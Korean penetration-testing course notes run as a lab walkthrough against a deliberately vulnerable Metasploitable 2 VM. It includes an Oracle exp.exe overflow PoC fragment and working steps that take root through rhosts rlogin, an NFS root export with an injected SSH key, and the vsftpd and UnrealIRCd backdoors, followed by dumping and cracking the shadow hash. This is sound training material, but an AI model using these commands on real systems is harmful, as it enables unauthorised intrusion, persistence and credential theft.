bsd      generator       lin_x86     netbsd_x86   plan9        ultrix
bsd_ppc  hardware        lin_x86-64  netware      qnx          unix
bsd_x86  hp-ux           linux       novell       sco          unixware


# cd windows/local
# ls

..... (중략) .....
16169.py


# vi 16169.py

#!/usr/bin/python
# Oracle 10/11g exp.exe - param file Local Buffer Overflow PoC Exploit
# Date found approx: 9/3/2010
# Software Link: http://www.oracle.com/technology/products/database/oracle10g/index.html
# Version: 10.x and 11g r1 (r2 untested)
# Tested on: Windows XP SP3 En
# Usage:
# $ORACLE_HOME\exp.exe system parfile=overflow_oracle_exp.txt

def banner():
    print "\n\t| ------------------------------------- |"
    print "\t| Oracle exp.exe code execution explo!t |"
    print "\t| by mr_me - net-ninja.net ------------ |\n"

header = ("\x69\x6E\x64\x65\x78\x65\x73\x3D\x6E\x0D\x0A\x6C\x6F\x67\x3D\x72\x65\x73\x75"
"\x6C\x74\x73\x2E\x74\x78\x74\x0D\x0A\x66\x69\x6C\x65\x3D");

# aligned to edx
egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1"
"9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA");
..... (중략) .....




[실습] searchspolit.sh 스크립트 작성

# cd /root/bin
# vi searchsploit.sh
---------------------------------------------
/usr/share/exploitdb/files.csv 파일 사용(# cp /usr/share/exploitdb/files.csv files.csv)

프로그램 작성
---------------------------------------------

# searchsploit.sh

Usage: searchsploit term1 [term2] ... [termN]
Example: searchsploit oracle windows local

-> 사용하는 방법

# searchsploit.sh oracle

cat file.csv | egrep -i oracle

# cat files.csv | egrep -i 'Oracle Identity Manager'
32670,platforms/php/webapps/32670.txt,"Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0) - Unvalidated Redirects",2014-04-03,"Giuseppe D'Amore",php,webapps,0
                                   |
                                   |
                                   V
# searchsploit oracle
Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0) - Unval | /php/webapps/32670.txt


# searchsploit.sh oracle windows

cat file.csv | egrep -i oracle | egrep -i windows

# searchsploit oracle windows
Oracle Demantra 12.2.1 - Database Credentials Disclosur | /windows/webapps/31995.txt


# searchsploit.sh oracle windows local

cat file.csv | egrep -i oracle | egrep -i windows | egrep -i local

# searchsploit oracle windows local
Oracle 8/9i DBSNMP Oracle Home Environment Variable Buf | /windows/local/21044.c



# cd /root/bin
# cp /usr/share/exploitdb/files.csv /root/bin
# vi searchsploit.sh
----------------------------------------------
    프로그램 작성
----------------------------------------------

# ./searchsploit.sh oracle windows local

Oracle Database Server <= 10.1.0.2 - Buffer Overflow Ex | /windows/local/932.sql
Oracle Database PL/SQL Statement Multiple SQL Injection | /windows/local/933.sql
Oracle Database Server 9i/10g (XML) Buffer Overflow Exp | /windows/local/1455.txt
Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevati | /windows/local/3451.c
Oracle 10/11g exp.exe - param file Local Buffer Overflo | /windows/local/16169.py
Oracle 8/9i DBSNMP Oracle Home Environment Variable Buf | /windows/local/21044.c


[참고] eval CMD
# name=chan
# chan=test
# echo $name                -> chan
# echo $chan                -> test
# echo $`echo $name`        -> $chan
# eval echo $`echo $name`   -> test

    (예) # ls -a -l -t -r
    # A=ls
    # B=" -a -l "
    # C=" -t -r "
    # CMD=$A$B$C      /* CMD=ls -a -l -t -r */
    # $CMD
    -> 잘 실행되는가?
    -> # eval $CMD


[참고] grep/fgrep/egrep CMD
■ grep CMD
    # grep '[abc]d' file.txt
■ fgrep CMD(Fixed grep)
    # fgrep 'f*' file.txt
■ egrep CMD(Extended grep)
    # egrep '(root|user01)' /etc/passwd


[참고] 명령어 실행 패턴 분석

# ./searchsploit.sh oracle($1) windows($2) local($3)
$# => 3

cat files.csv | grep -i "$1" \
              | grep -i "$2" \
              | grep -i "$3" \
              | ......

SEARCH="cat files.csv"
SEARCH=$SEARCH | grep -i "$1"
SEARCH=$SEARCH | grep -i "$2"
SEARCH=$SEARCH | grep -i "$3"






Metasploitable V2 Linux 서버는 많은 버그를 가지고 있습니다.
다음은 버그 실습에 대한 예제입니다.
단순히 참고용으로만 사용하시기 바랍니다.




Metasploitable V2 Linux 서버의 취약점에 대해서





(1) 버그를 공격하는 경우(rCMD(~/.rhosts) 취약점)

■ 실습 시스템
- linux200 (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요

TCP ports 512, 513, and 514 are known as "r" services, and have been misconfigured to allow remote access from any host (a standard ".rhosts + +" situation). To take advantage of this, make sure the "rsh-client" client is installed (on Ubuntu), and run the following command as your local root user. If you are prompted for an SSH key, this means the rsh-client tools have not been installed and Ubuntu is defaulting to using SSH.

----------------------------------------------------
            System V     BSD             Secure
----------------------------------------------------
원격 접속   telnet       rlogin, rsh     ssh
파일 전송   ftp          rcp             sftp, scp
----------------------------------------------------

● rCMD(rlogin, rsh, rcp), sCMD(ssh, scp, sftp)
● rlogin(Remote Login: 513/TCP), rsh(Remote Shell: 514/TCP), rcp(Remote Copy: 512/TCP)
● rlogin -> ssh, rsh -> ssh, rcp -> scp


    ----- HostA -----        ----- HostB -----
    # telnet HostB    ------>  인증(ID/PASS)
    # rlogin HostB    ------>    /etc/hosts.equiv, ~/.rhosts

               
    /etc/hosts,equiv, ~/.rhosts 파일의 형식
    ---------------------------------------
    ServerName  UserName

    (예제) ~root/.rhosts 파일 내용
    ---------------------------
    (예) HostA    root
    (예) HostA    +
    (예) +        +





■ 취약점 공격 과정(rCMD(~/.rhosts) 취약점)
(linux200)
① rCMD 서비스에 대한 정보 확인
# nmap -sV -p 512-514 192.168.10.0/24

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2016-03-31 19:44 KST
Interesting ports on 192.168.10.1:
PORT    STATE  SERVICE
512/tcp closed exec
513/tcp closed login
514/tcp closed shell

Interesting ports on 192.168.10.2:
PORT    STATE  SERVICE
512/tcp closed exec
513/tcp closed login
514/tcp closed shell

Interesting ports on 192.168.10.50:
PORT    STATE  SERVICE
512/tcp closed exec
513/tcp closed login
514/tcp closed shell

Interesting ports on firewall (192.168.10.100):
PORT    STATE  SERVICE
512/tcp closed exec
513/tcp closed login
514/tcp closed shell

Interesting ports on 192.168.10.134:
PORT    STATE SERVICE
512/tcp open  exec
513/tcp open  login
514/tcp open  shell

Nmap finished: 256 IP addresses (5 hosts up) scanned in 2.236 seconds


② rlogin 명령어 시도1
# rlogin -l root 192.168.10.134   (# rlogin 192.168.10.134 -l root)

connect to address 192.168.10.134 port 543: Connection refused
Trying krb4 rlogin...
connect to address 192.168.10.134 port 543: Connection refused
trying normal rlogin (/usr/bin/rlogin)
Last login: Thu Mar 31 06:47:28 EDT 2016 from 192.168.10.134 on pts/2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.


root@metasploitable:~# id

uid=0(root) gid=0(root) groups=0(root)


root@metasploitable:~# uname -a

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

root@metasploitable:~# ls /etc/*release*

/etc/lsb-release


root@metasploitable:~# cat /etc/lsb-release

DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=8.04
DISTRIB_CODENAME=hardy
DISTRIB_DESCRIPTION="Ubuntu 8.04"


root@metasploitable:~# cat ~/.rhosts

+ +

-> ~root/.rhosts 파일은 백도어 파일로도 사용되고 있는 파일이다.

root@metasploitable:~# man rhosts

NAME
       $HOME/.rhosts - grants or denies password-free r-command access to a specific user account

DESCRIPTION
       The .rhosts file allows or denies a user who has an account on the local host to  use  the
       r-commands (e.g. rlogin, rsh or rcp) without supplying a password.

       The file uses the following format:

       hostname [username]

       Such an entry grants password-free r-command access for the user with the login name user‐
       name from the remote host hostname.  If no user name is specified, the user must have  the
       same  login  name  on  the remote host and the local host. For security reasons you should
       always use the FQDN of the hostname and not the short hostname.

       Netgroups can be specified by preceeding the netgroup by an @ sign.

       The .rhosts file must be owned by the user or root, and writable only by the owner.

FILES
       $HOME/.rhosts

SEE ALSO
       hosts.equiv(5), rshd(8), rlogind(8)


# exit
#

② rlogin 명령어 시도2
# nmap -p 512-514 172.16.9.254

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2016-04-15 15:48 KST
Interesting ports on 172.16.9.254:
PORT    STATE  SERVICE
512/tcp closed exec
513/tcp open   login
514/tcp open   shell

Nmap finished: 1 IP address (1 host up) scanned in 1.157 seconds


[참고] 다른 서버에 대해서도 수행해 보자.(EX: UNIX(Oracle Solaris 10))
# rlogin -l root 172.16.9.254
# hostname
# id
# uname -a
# cat ~/.rhosts
# exit
#





(2) 버그를 공격하는 경우(NFS 전체 공유의 취약점)
● 잘못된 NFS 설정을 공격하는 경우

■ 실습 시스템
- linux200 (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요
This is about as easy as it gets. The next service we should look at is the Network File System (NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share (the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages to follow along.

● 분산 파일시스템의 종류(Distributed File System)- CIFS/SMB- NFS
● 리눅스 시스템에서 CIFS/SMB 프로토콜을 지원하기 위한 프로그램 => samba
● NFS(Network File System) : Linux 공유 자원을 Linux 클라이언트가 사용하기 위한 파일시스템

    ----- NFS Server -----        ----- NFS Client -----
    # vi /etc/exports        <-----------    # mkdir /mnt/nfs
    /share    *(ro)            # mount <서버IP>:/share /mnt/nfs
    # service nfs restart
               
    /etc/exports 파일의 형식
    ---------------------------------------
    공유할자원    접근할호스트(공유옵션)

    (예제) /etc/exports 파일 내용
    ---------------------------
    (예) /share    server1(ro) server2(rw,no_root_squash)
    (예) /pub    (ro,insecure,all_squash)
    (예) /test    *(ro)

■ 취약점 공격 과정(NFS 전체 공유의 취약점)
(linux200)
① NFS 서비스 확인
# nmap -p 2049 192.168.10.0/24

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2016-03-31 20:23 KST
Interesting ports on 192.168.10.1:
PORT     STATE  SERVICE
2049/tcp closed nfs

Interesting ports on 192.168.10.2:
PORT     STATE  SERVICE
2049/tcp closed nfs

Interesting ports on 192.168.10.50:
PORT     STATE  SERVICE
2049/tcp closed nfs

Interesting ports on firewall (192.168.10.100):
PORT     STATE  SERVICE
2049/tcp closed nfs

Interesting ports on 192.168.10.134:
PORT     STATE SERVICE
2049/tcp open  nfs

Nmap finished: 256 IP addresses (5 hosts up) scanned in 7.454 seconds


# rpcinfo -p 192.168.10.134

   program vers proto   port
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  47317  status
    100024    1   tcp  50352  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  40959  nlockmgr
    100021    3   udp  40959  nlockmgr
    100021    4   udp  40959  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  53505  nlockmgr
    100021    3   tcp  53505  nlockmgr
    100021    4   tcp  53505  nlockmgr
    100005    1   udp  54939  mountd
    100005    1   tcp  55737  mountd
    100005    2   udp  54939  mountd
    100005    2   tcp  55737  mountd
    100005    3   udp  54939  mountd
    100005    3   tcp  55737  mountd


② 공유 자원 확인 및 마운트
# showmount -e 192.168.10.134

Export list for 192.168.10.134:
/ *


# mkdir -p /mnt/nfs
# mount 192.168.10.134:/ /mnt/nfs
# df -h

Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              38G  3.3G   33G  10% /
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm
192.168.10.134:/      7.0G  1.5G  5.2G  22% /mnt/nfs


# cd /mnt/nfs
# ls

bin   cdrom  etc   initrd      lib         media  nohup.out  proc  sbin  sys  usr  vmlinuz
boot  dev    home  initrd.img  lost+found  mnt    opt        root  srv   tmp  var


# cat etc/passwd
-> 출력 정보 생략



③ ssh-keygen 명령어를 통한 private/public key 생성
● Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file.

# ssh-keygen

Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): <ENTER>
/root/.ssh/id_rsa already exists.
Overwrite (y/n)? y
Enter passphrase (empty for no passphrase): <ENTER>
Enter same passphrase again: <ENTER>
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
48:07:12:6b:b8:46:a7:80:c2:6d:74:c6:51:95:f7:c1 root@linux249.example.com


④ metasploitable V2 Linux 서버 ~/root/.ssh/authorized_keys 파일에 내용 추가
# cat ~/.ssh/id_rsa.pub >> /mnt/nfs/root/.ssh/authorized_keys
# cat /mnt/nfs/root/.ssh/authorized_keys

ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApmGJFZNl0ibMNALQx7M6sGGoi4KNmj6PVxpbpG70lShHQqldJkcteZZdPFSbW76IUiPR0Oh+WBV0x1c6iPL/0zUYFHyFKAz1e6/5teoweG1jr2qOffdomVhvXXvSjGaSFwwOYB8R0QxsOWWTQTYSeBa66X6e777GVkHCDLYgZSo8wWr5JXln/Tw7XotowHr8FEGvw2zW1krU3Zo9Bzp0e0ac2U+qUGIzIu/WwgztLZs5/D9IyhtRWocyQPE+kcP+Jz2mt4y1uA73KqoXfdw5oGUkxdFo9f1nu2OwkjOc+Wv8Vw7bwkf+1RgiOMgiJ5cCs4WocyVxsXovcNnbALTp3w== msfadmin@metasploitable
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxpi1EqRwaEtzJFw+SGBjugGSFWfo6C7/Yc0T+cJkjKVG+RGy1t8P6GfnCREXAkRGc0kLXgB3ZfguJAQT1tK56eA/BzI0HfswVA5pLvoHyxQ14oNbpRqu9EoUi0vM3P2RzWAp9cW31MSBzlUwm+tw2g0RvY9/dNHELNcSh3THun+GdiPj+Ftjs1l07SjaDX5DMv7Sb/UTkpe/po7NEK01gG6MWrt8KTqrhx/OMhXvT60IE8pGpPXX2v7h3qIu0OfMRC5nqbtuqdE4t/fBMQBO45aDYrngoYHZAqIeJNM7jgrUgx+fWEQDj3a4JslrRONlDNSl1OetpTNd/Z3SppROZw== root@linux2XX.example.com

-> 정보 확인

⑤ /mnt/nfs 언마운트(umount) 작업
# cd
# umount /mnt/nfs
# df -h

Filesystem            Size  Used Avail Use% Mounted on
/dev/sda1              38G  3.3G   33G  10% /
/dev/sda3             487M   11M  451M   3% /home
tmpfs                 506M     0  506M   0% /dev/shm


⑥ ssh 명령어를 통해 meta 서버에 접속하기
# ssh root@192.168.10.134

The authenticity of host '192.168.10.134 (192.168.10.134)' can't be established.
RSA key fingerprint is 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.10.134' (RSA) to the list of known hosts.
Last login: Thu Mar 31 06:48:16 2016 from 192.168.10.100
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have new mail.


root@metasploitable:~#
-> 암호 입력 없이 정상적으로 로그인이 된다.

root@metasploitable:~# exit
#
-> 원격에서 어떤 작업이건 가능한 상태가 되었다.
   (예) # ssh 192.168.10.134 hostname
        # ssh 192.168.10.134 cat /etc/exports
        # ssh 192.168.10.134 cat /etc/passwd


(3) 버그를 공격하는 경우(Backdoor 존재하는 취약점)

■ 실습 시스템
- linux200 (EX: attacker system)
- KaliLinux(EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요

What is VSFTPD?
vsftpd, which stands for "Very Secure FTP Daemon",is an FTP server for Unix-like systems, including Linux. It is licensed under the GNU General Public License. It supports IPv6 and SSL.

In July 2011, it was discovered that vsftpd version 2.3.4 downloadable from the master site had been compromised.  Users logging into a compromised vsftpd-2.3.4 server may issue a ":)" smileyface as the username and gain a command shell on port 6200.  This was not an issue of a security hole in vsftpd, instead, someone had uploaded a different version of vsftpd which contained a backdoor. Since then, the site was moved to Google App Engine.

VSFTPD BUG
On port 21, Metasploitable2 runs vsftpd(vsftpd-2.3.4), a popular FTP server. This particular version contains a backdoor that was slipped into the source code by an unknown intruder. The backdoor was quickly identified and removed, but not before quite a few people downloaded it. If a username is sent that ends in the sequence ":)" [ a happy face ], the backdoored version will open a listening shell on port 6200. We can demonstrate this with telnet or use the Metasploit Framework module to automatically exploit it.

This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

exploit/unix/ftp/vsftpd_234_backdoor
This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available.


■ 취약점 공격 과정(Backdoor 존재하는 취약점)
(linux200)
① vsftpd 서비스 버전 확인
# nmap -sV -p 21 192.168.10.0/24

Starting Nmap 4.11 ( http://www.insecure.org/nmap/ ) at 2016-03-31 20:54 KST
Interesting ports on 192.168.10.1:
PORT   STATE  SERVICE VERSION
21/tcp closed ftp

Interesting ports on 192.168.10.2:
PORT   STATE  SERVICE VERSION
21/tcp closed ftp

Interesting ports on 192.168.10.50:
PORT   STATE  SERVICE VERSION
21/tcp closed ftp

Interesting ports on firewall (192.168.10.100):
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.0.5
Service Info: OS: Unix

Interesting ports on 192.168.10.134:
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4
Service Info: OS: Unix

Nmap finished: 256 IP addresses (5 hosts up) scanned in 6.340 seconds

-> 백도어가 설치된 버전이다.
-> vsftpd 데몬이 21/tcp 사용하고 있다.

② vsftpd 서버로 접속하여 백도어를 동작 시킴
# telnet 192.168.10.134 21

Trying 192.168.10.134...
Connected to 192.168.10.134 (192.168.10.134).
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user backdoored:)
331 Please specify the password.
pass invalid
^]

telnet> quit
Connection closed.


③ 백도어 포트(6200)로 telnet 접속 하기
# telnet 192.168.10.134 6200

Trying 192.168.10.134...
Connected to 192.168.10.134 (192.168.10.134).
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
: command not found
pwd;
/
: command not found
hostname;
metasploitable
: command not found
cat /etc/passwd;
..... (중략) ....
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
user1:x:1003:1003::/home/user1:/bin/bash
: command not found
exit;
Connection closed by foreign host.

-> 접속이 해제되고 나서는 다시 :) (happy face) 작업을 진행한 한 6200 포트로 telnet을 사용하여야 한다.



(KaliLinux)
④ msfconsole 통해 공격해 보자.
# msfconsole -q

msf > search vsftpd

Matching Modules
================

   Name                                  Disclosure Date  Rank       Description
   ----                                  ---------------  ----       -----------
   exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  VSFTPD v2.3.4 Backdoor Command Execution

msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf exploit(vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  21               yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(vsftpd_234_backdoor) > exploit

[*] Banner: 220 (vsFTPd 2.3.4)
[*] USER: 331 Please specify the password.
[+] Backdoor service has been spawned, handling...
[+] UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.10.50:43071 -> 192.168.10.134:6200) at 2016-04-05 13:43:04 +0900

id
uid=0(root) gid=0(root)
hostname
metasploitable
grep root /etc/passwd
root:x:0:0:root:/root:/bin/bash    <--- 이 라인을 복사
grep root /etc/shadow
root:$1$CmDHSTw9$Ei9EjfjLrTkGgX7atpnlW0:16896:0:99999:7:::    <--- 이 라인을 복사
^C
Abort session 1? [y/N]  y
msf exploit(vsftpd_234_backdoor) > exit





⑤ "④"번에서 얻은 암호를 가지고 암호 클랙(password crack) 작업을 수행 해 보자.

    (선수작업) metasploitable V2 Linux 에서
    $ sudo su -
    # passwd root
    -> 암호를 soldesk1. 설정
    # exit
    $ exit

# cd /root/bin
# vi pass1.txt

root:x:0:0:root:/root:/bin/bash


# vi pass2.txt

root:$1$CmDHSTw9$Ei9EjfjLrTkGgX7atpnlW0:16896:0:99999:7:::


# unshadow pass1.txt pass2.txt > crack.txt
# cat crack.txt

root:$1$CmDHSTw9$Ei9EjfjLrTkGgX7atpnlW0:0:0:root:/root:/bin/bash


# vi wordlist.txt

administrator
admin
soldesk1.


    # john --help
    --wordlist[=FILE] --stdin wordlist mode, read words from FILE or stdin
                  --pipe  like --stdin, but bulk reads, and allows rules
    --show[=LEFT]             show cracked passwords [if =LEFT, then uncracked]

# john --wordlist=wordlist.txt crack.txt

Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ [MD5 128/128 XOP 4x2])
Press 'q' or Ctrl-C to abort, almost any other key for status
soldesk1.        (root)
1g 0:00:00:00 DONE (2016-04-05 14:02) 12.50g/s 37.50p/s 37.50c/s 37.50C/s administrator..soldesk1.
Use the "--show" option to display all of the cracked passwords reliably
Session completed


# john --show crack.txt

root:soldesk1.:0:0:root:/root:/bin/bash

1 password hash cracked, 0 left



[참고] KaliLinux에서 WordList 목록 확인하기 (KaliLinux 2.X)

패널 > 프로그램 > 05 - Password Attacks > wordlists

or

# cd /usr/share/wordlists
# ls






(4) 버그를 공격하는 경우(Backdoor 존재하는 취약점)

■ 실습 시스템
- KaliLinux (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요

What UnrealRCd?
UnrealIRCd is an open source IRC daemon, originally based on DreamForge, and is available for Unix-like operating systems and Windows. Since the beginning of development on UnrealIRCd circa May 1999, many new features have been added and modified, including advanced security features and bug fixes, and it has become a popular server.

UnrealRCd Bug?
On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell.

This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

exploit/unix/irc/unreal_ircd_3281_backdoor
This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

■ 취약점 공격 과정(Backdoor 존재하는 취약점)
(KaliLinux)
① UnrealRCD daemon 확인
# nmap -sV 192.168.10.134    (# nmap -sV 192.168.10.134 2>&1 | tee -a scan.txt)

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-31 21:40 KST
Nmap scan report for 192.168.10.134
Host is up (0.000094s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds

-> Unreal ircd는 port 6667과 6697 포트를 사용한다.
    [참고] 자세하게 점검하는 방법은 아래와 같다.
    # nmap -p 1-65535 -T4 -A -v 192.168.10.134 2>&1 | tee scan.txt
    # egrep -i '(6667|6697|ircd)' scan.txt
    Discovered open port 6697/tcp on 192.168.10.134
    Discovered open port 6667/tcp on 192.168.10.134
    6667/tcp  open  irc         Unreal ircd
    6697/tcp  open  irc         Unreal ircd

② wireshark 실행하여 패킷을 분석
# wireshark &
-> 패킷을 분석한다.

③ msfconsole 실행
# msfconsole -q

msf > search unreal_ircd

Matching Modules
================

   Name                                        Disclosure Date  Rank       Description
   ----                                        ---------------  ----       -----------
   exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  UnrealIRCD 3.2.8.1 Backdoor Command Execution


msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  6667             yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 192.168.10.50:4444
[*] Connected to 192.168.10.134:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AshVia2s0tz2A7vZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "AshVia2s0tz2A7vZ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.10.50:4444 -> 192.168.10.134:54360) at 2016-03-31 22:10:01 +0900

id
uid=0(root) gid=0(root)
hostname
metasploitable
^C
Abort session 2? [y/N]  y

[*] 192.168.10.134 - Command shell session 2 closed.  Reason: User exit
msf exploit(unreal_ircd_3281_backdoor) > edit
...... (중략) .....
 57   def exploit
 58     connect
 59
 60     print_status("Connected to #{rhost}:#{rport}...")
 61     banner = sock.get_once(-1, 30)
 62     banner.to_s.split("\n").each do |line|
 63       print_line("    #{line}")
 64     end
 65
 66     print_status("Sending backdoor command...")
 67     sock.put("AB;" + payload.encoded + "\n")
 68
 69     # Wait for the request to be handled
 70     1.upto(120) do
 71       break if session_created?
 72       select(nil, nil, nil, 0.25)
 73       handler()
 74     end
 75     disconnect
 76   end
 77 end
:q!
msf exploit(unreal_ircd_3281_backdoor) >



④ 분석 보고서를 작성한다.
unreal_ircd_3281_backdoor.rb 파일과 패킷을 분석하여 보고서를 작성한다.(과제 : 30분)
- (ㄱ) 패킷분석
- (ㄴ) 프로그램 분석
- (ㄷ) 패킷/프로그램 분석결과와 "공격개요" 부분에 대한 이해






 

20160623.xlsx

 

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160624 프로젝트#2  (0) 2016.06.24
20160624 정보수집단계  (0) 2016.06.24
20160622 정보수집단계  (0) 2016.06.22
20160621 정보수집단계  (0) 2016.06.21
20166020 코드엔진 아카이브  (0) 2016.06.21
Posted by 22Hz
, |
=======================================================================================================
VMware workstation 12.X
KaliLinux Upgrade : complete
    # apt-get update
    # apt-get dist-upgrade

# vmware[TAB][TAB]
-> vmware-uninstall-tools.pl
 
# vmware-uninstall-tools.pl
-> a few minute...
 
# reboot
 
KaliLinux root login
 
# apt-get update
# apt-get install open-vm-tools-desktop fuse
-> a few minute...
 
# reboot
 
KaliLinux root login
-> copy & paste
=======================================================================================================
SET(Social Engineering Tech.)



■ 사용시스템
- Kali Linux
- Windows 7


패스트 트랙(Fasttrack): 자동 공격 도구
● 메타스포로잇 모듈을 사용한다.
